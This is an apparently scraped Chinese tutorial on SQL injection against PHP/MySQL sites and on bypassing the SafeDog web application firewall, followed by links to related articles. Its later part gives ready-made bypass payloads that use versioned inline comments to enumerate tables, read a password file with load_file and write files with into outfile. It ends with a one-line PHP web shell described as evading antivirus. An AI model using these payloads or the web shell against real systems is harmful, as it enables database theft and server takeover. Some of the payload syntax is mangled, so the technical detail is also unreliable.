SQL注入原理及绕过安全狗
1.什么是SQL注入攻击
SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令
http://www.xxx.com/list.php?id=1
http://www.xxx.com/list.php?id=1 and user()>0 --
- [ ] 哪里存在sql注入
GET,POST,HTTP头部注入,Cookie注入,任何客户端可控,传递到服务器的变量 - [ ]漏洞原理
- 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
$sql = "select * from article where id = ".$_GET[1];//使用字符串拼接
- 未对用户可控参数进行足够的过滤便将参数内容拼接到SQL语句中。
$sql = "select * from article where id = $_GET[1]";//传递参数未过滤
2.SQL注入的危害
- 攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中的内容(脱库)。
- 在特别情况下还可以修改数据库内容或者插入内容到数据库,(多语句联合查询注入)
- 如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。(root权限或者sa权限等等)
3.SQL注入的分类
- 根据数据类型
$id = $_GET['id'];- 整型注入 $sql="select * from article where id = $id"
- 字符型注入 \(sql="select * from article where id = '\)id'"
- 根据注入语法
- UNION query SQL injection(可联合的查询注入)
- Stacked queries SQL injection(可多语句查询注入)
- Error-based SQLinjection(报错型注入)
- Boolean-based blind SQL injection(布尔型注入)
- Time-based blind SQL injection(基于时间延迟注入)
4.SQL注入的挖掘(编写注入环境代码验证)
and 1=1 / and 1=2 根据回显页面不同(整形判断)
单引号判断(')显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
(转义符)(适合于字符型注入)
-1/+1回显下一个或者上一个页面(整形判断)
and sleep(5)(判断页面返回时间)
[ ] mysql中四种注释风格
/.../
/!.../ 内联注释/*!50000select */(mysql版本大于50000执行)
[ ] mysql中一些函数
system_user()系统用户名
user()用户名
current_user()当前用户名
session_user()连接数据库的用户名
database() 数据库名
version()MySql数据库版本
load_file()MySql读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MySql安装路径
@@version_compile_os 操作系统Windows Server 2003
[ ] mysql漏洞利用函数:into outfile()
into_outfile()写文件操作
前提:- 文件名必须全路径(绝对路径),
- 用户必须有写文件的权限
- 没有对’单引号过滤
SELLECT''into outfile'D://phpStudy//WWW//hack.php'
[ ] mysql链接 字符串函数
concat(str1,str2)
concat_ws(separator,str1,str2...)
group_concat(str1,str2....)
- MySql的concat函数可以连接一个或者多个字符串
- concat(username,0x23,password,0x23...)
- concat_ws()函数,表示concat with separator,即有分隔符的字符串连接
- group_concat()函数,把每一行数据分到一个组里显示出来
- MySql的concat函数可以连接一个或者多个字符串
[ ] mysql联合查询注入必备知识点
information_schema(mysql5.0)信息数据库。其中保存着关于MySql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等
SCHEMATA表:(所有的数据库名在这个表)提供了当前mysql事例中所有的数据库信息。是show databases的结果取之此表。
TABLES表:(所有的数据库的表名在这个表)提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建表的时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:(所有数据库的表名中的所有列在这个表)提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
[ ] mysql联合查询规则
UNION必须由两条或者两条以上的SELECT语句组成,语句之间用关键字UNION分隔
UNION中的每个查询必须包含相同的列
UNION会从查询结果集中自动去除了重复行
[ ]过狗语句
?id=-1 /!50001union//!50001select/1,table_name,3,4,5 /!50001from/ information_schema.tables where table_schema='newbaji'
load_file()读取可以单个斜线
?id=-1 /!50001union//!50001select/
1,load_file('d:/pass.txt'),3,4,5into outfile 'd://aaa.txt'(写入必须双//)
?id=-1 /!50001union//!50001select/1,'',3,4,5 into outfile 'd:\2.txt';
一句话免杀木马
<?php function dog(){return $_POST[1];}eval(dog());?>
SQL注入原理及绕过安全狗的更多相关文章
- Web安全之SQL注入(原理,绕过,防御)
首先了解下Mysql表结构 mysql内置的information_schema数据库中有三个表非常重要1 schemata:表里包含所有数据库的名字2 tables:表里包含所有数据库的所有的表,默 ...
- Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解
前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程 ...
- sql注入原理详解(一)
我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或 ...
- SQL注入9种绕过WAF方法
SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...
- 1.sql注入原理
一.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露V ...
- SQL注入原理与解决方法代码示例
一.什么是sql注入? 1.什么是sql注入呢? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网 ...
- 讲sql注入原理的 这篇不错(有空可以看看)
我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或 ...
- 回头探索JDBC及PreparedStatement防SQL注入原理
概述 JDBC在我们学习J2EE的时候已经接触到了,但是仅是照搬步骤书写,其中的PreparedStatement防sql注入原理也是一知半解,然后就想回头查资料及敲测试代码探索一下.再有就是我们在项 ...
- 网络对抗课题4.3.1 SQL注入原理与实践
网络对抗课题4.3.1 SQL注入原理与实践 原理 SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞.也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符 ...
随机推荐
- switchysharp设置
在线规则列表里面插入下面的网址:https://autoproxy-gfwlist.googlecode.com/svn/trunk/gfwlist.txt
- Node.js+Koa开发微信公众号个人笔记(三)响应文本
响应输入文本和响应事件类似,首先对微信服务器发送来的数据的MsgType进行处理,如果是text,说明是文本,接下来可以对文本内容进行处理,比如用户输入了1,可以给用户回复一个文本或者图文或者视频等信 ...
- 学习React系列(七)——Fragments、Portals、Error Boundaries与WEB组件
React.Fragment portals Error Boundaries WEB组件 React.Fragment 想象一个场景,想把td包装为组件添加到table中去,代码如下: class ...
- CentOS安装node.js-8.11.1+替换淘宝NPM镜像
注:以下所有操作均在CentOS 6.8 x86_64位系统下完成. #准备工作# 由于node.js-8.11.1在源码编译安装的时候需要gcc 4.9.4或clang++ 3.4.2以上版本的支持 ...
- 逻辑运算符、三元运算符、for循环、stack(栈),heap(堆),方法区,静态域
Lesson One 2018-04-17 19:58:39 逻辑运算符(用于逻辑运算,左右两边都是 true 或 false) 逻辑与-& 和 短路与-&& 区别: & ...
- 一 Django模型层简介(一)
模型 django提供了一个强大的orm(关系映射模型)系统. 模型包含了你要在数据库中创建的字段信息及对数据表的一些操作 使用模型 定义好模型后,要告诉django使用这些模型,你要做的就是在配置文 ...
- Idea导入多个maven项目到同一目录下
目标 简单导入多个maven项目进入同一个project(相当于eclipse的workspace) 过程 1.新建一个目录作为仿eclipse的workspace,这里起名为idea-workspa ...
- nginx方向代理
nginx 的安装 # yum install nginx 新建配置文件 # vi /etc/nginx/conf.d/resume-xyz-8081.conf 配置 upstream resume ...
- WebApi的安全性及其解决方案
一.前言 WebApi的小白想要了解一些关于WebApi安全性相关的问题,本篇文章是整理一些关于WebApi安全.权限认证的文章. 二.内容正文 2.1 不进行验证 客户端调用:http:// ...
- Mac OS X磁盘重新分区后 BootCamp Windows启动项丢失
前言 我有一台Mac,装有OS X和Windows两系统,因Windows和OS X都能读写exFAT分区, 故若在Machintosh HD和Windows HD之间开辟一个exFAT分区,可以作为 ...